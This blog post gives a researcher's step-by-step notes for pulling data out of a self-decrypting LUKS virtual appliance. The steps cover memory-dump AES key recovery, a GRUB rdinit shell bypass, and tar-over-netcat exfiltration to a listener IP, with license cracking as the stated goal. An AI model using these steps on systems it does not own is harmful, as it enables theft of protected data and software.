Nov 27, 2024
6 mins read
Recently I needed to get the data off of a LUKS encrypted partition on a Virtual Machine that “wasn’t mine” and I’d never done it before. As you might imagine, a huge headache ensued.
As a preface, if you’ve landed on this blog and you’re thinking to yourself _“Finally, someone will tell me how to recover the LUKS key for my non-bootable system!”
…I have bad news. This blog is not for you.
For “reasons”, some VM’s may land in your lap that automatically decrypt the LUKS partitions. This may be for compliance reasons or meant to create a headache for those trying to peek intellectual property or whatever.
But, if the system boots and automatically decrypts the LUKS partition, this blog is about that type of system. As follows is basically my notes in case I should ever need to do this again. These problem sets present in various different forms. See: https://www.praetorian.com/blog/sonicwall-custom-grub-luks-encryption/
Spoilers: I will, I encounter this problem like 1-2 times a year.
For personal projects, I like using VirtualBox. The VirtualBox tooling allows to mount a disk image file in read/write mode with the following commands.
# Create mount point
sudo mkdir -p /tmp/vm
# Mount disk image
sudo vboximg-mount --rw -i absolute_path_to_disk_image/disk1.vdi -o allow_other /tmp/vm
# List the size of the volume (you will need this later)
sudo blockdev --getsz /tmp/vm/vol1
# Disk volumes appear under mount point list their info
cryptsetup luksDump /tmp/vm/vol1
The last command will produce output similar to:
LUKS header information for /tmp/vm/vol1
Version: 1
Cipher name: aes
Cipher mode: cbc-essiv:sha256
Hash spec: sha256
Payload offset: 4096
MK bits: 256
MK digest: c2 7a 99 b3 64 63 9f 01 78 0a 78 46 75 ea 6a 35 d3 62 cf ea
MK salt: be 8b d0 f6 5b 08 04 d5 24 e9 94 a7 fe 4d ca 1a
d5 21 ad 94 c7 19 8c ff 16 29 76 f0 cb 7f 0d 99
MK iterations: 257762
UUID: e3353b4b-85fa-422c-bbbb-35d63cb3d7e7
Key Slot 0: DISABLED
Key Slot 1: ENABLED
Iterations: 4032984
Salt: 73 63 bb 16 04 13 30 41 a8 a6 94 cc ad 15 c8 f3
70 9b cb 57 68 42 41 d0 20 58 b1 a2 a6 10 6e 60
Key material offset: 264
AF stripes: 4000
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
At this point, unmount the disk image
sudo umount /tmp/vm
Boot the VM, and it should take a long time to boot. This generally means it’s decrypting the disk. This also means the LUKS key is likely stored in memory somewhere.
During the long decryption process, dump all of the memory of the running VM to a file.
VBoxManage debugvm "NameOfTargetVM" dumpvmcore --filename=rawdump.raw
This will produce a file rawdump.raw
Using https://sourceforge.net/projects/findaes/
./findaes rawdump.raw
This will take a bit, but will find all identified AES-256 key schedules in the memory dump and output similar to:
Found AES-256 key schedule at offset 0x3ad9982f4:
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
Found AES-256 key schedule at offset 0x3ad9985b4:
f7 91 88 83 ee e3 3f 0e cc 70 c5 4a 3e 64 84 ef 9d 22 b3 38 90 95 74 15 80 3c 30 53 a5 65 52 4a
Found AES-256 key schedule at offset 0x3af9ae224:
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
(...)
Yada Yada, look for key schedules that are contiguous in memory and try them.
After re-mounting the disk image to /tmp/vm
using commands above, fill in the volume size (from blockdev
command above), cipher name/mode/hash, and payload offset in the command below:
echo "0 44472320 crypt aes-cbc-essiv:sha256 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f 0 /tmp/vm/vol1 4096" \
| sudo dmsetup create luks-volume
This will create dmcrypt devices to access the device at /dev/mapper/<whatever>
And then fail and get frustrated at all of the opaque errors that come with full disk encryption.
TODO: just automate this entire process with bruteforce i swear to god read the docs https://gitlab.com/cryptsetup/cryptsetup/tree/master/docs
Okay, well, the VM boots. The disk is decrypted. But the VM boots into a restricted shell where I can’t access anything useful (need a license key etc… but can’t crack the license until I can access the binaries).
We control the boot order and params, let’s use that.
Re-Mount the VMDK disk image.
sudo vboximg-mount --rw -i absolute_path_to_disk_image/disk1.vdi -o allow_other /tmp/vm
The volume we want to get into is /tmp/vm/vol1
. However, the system needs to boot from somewhere that’s not encrypted, check /tmp/vm/vol0
for a grub configuration.
Sure enough, it’s at:
/tmp/vm/vol0/boot/grub/grub.cfg
We comment out the line for the kernel and replace it with our own rdinit
that will drop us into a shell.
menuentry 'redacted' {
set root='(crypto0)'
cryptomount (hd0,msdos2)
#linux /vmlinuz root=/mnt/os
linux /vmlinuz rdinit=/bin/sh
initrd /initrd.img
}
We can see above that GRUB typically boots and changes the root to /mnt/os
. This is the encrypted filesystem we want.
Make the changes. Unmount /tmp/vm
. Boot the VM.
Booting the VM drops us into a busybox shell.
Now, nothing has really happened yet. But at least we have a shell. We now need to trigger “whatever” part of the boot process automatically mounts and decrypts the volume.
In my case, it’s the init
binary in the root of the filesystem.
Running:
./init
Does the magic, drops us into the initramfs
, and the encrypted disk is mounted at /mnt/os
.
Now we need a way to get data out of the VM. Commonly networking is configured using init scripts. Source the init functions and trigger networking configuration. In most cases this will result in the VM obtaining a DHCP least where it now has networking.
. /script/functions
configure_networking
At this point, we have networking and we’re root in an initramfs. If we change out roor to the /mnt/os
like the GRUB config originally wanted we’ll keep our networking and also have access to the common tools we like to use for data exfiltration, such as nc
.
chroot /mnt/os /bin/sh
A coworker showed me this a while back (Thanks Ron!) and it only requires network access, nc
, and tar
.
On a machine you want to exfil data to set up a listener:
nc -v -l -p 4444 | tar -xvv
Then, in the VM specify the directory you want exported.
tar -cvv /usr | nc 192.168.8.244 4444
At the end, you have a fully exfil’d LUKS encrypted filesystem. Reverse engineer the binaries. Crack the license key. Draw the rest of the owl.
Sharing is caring!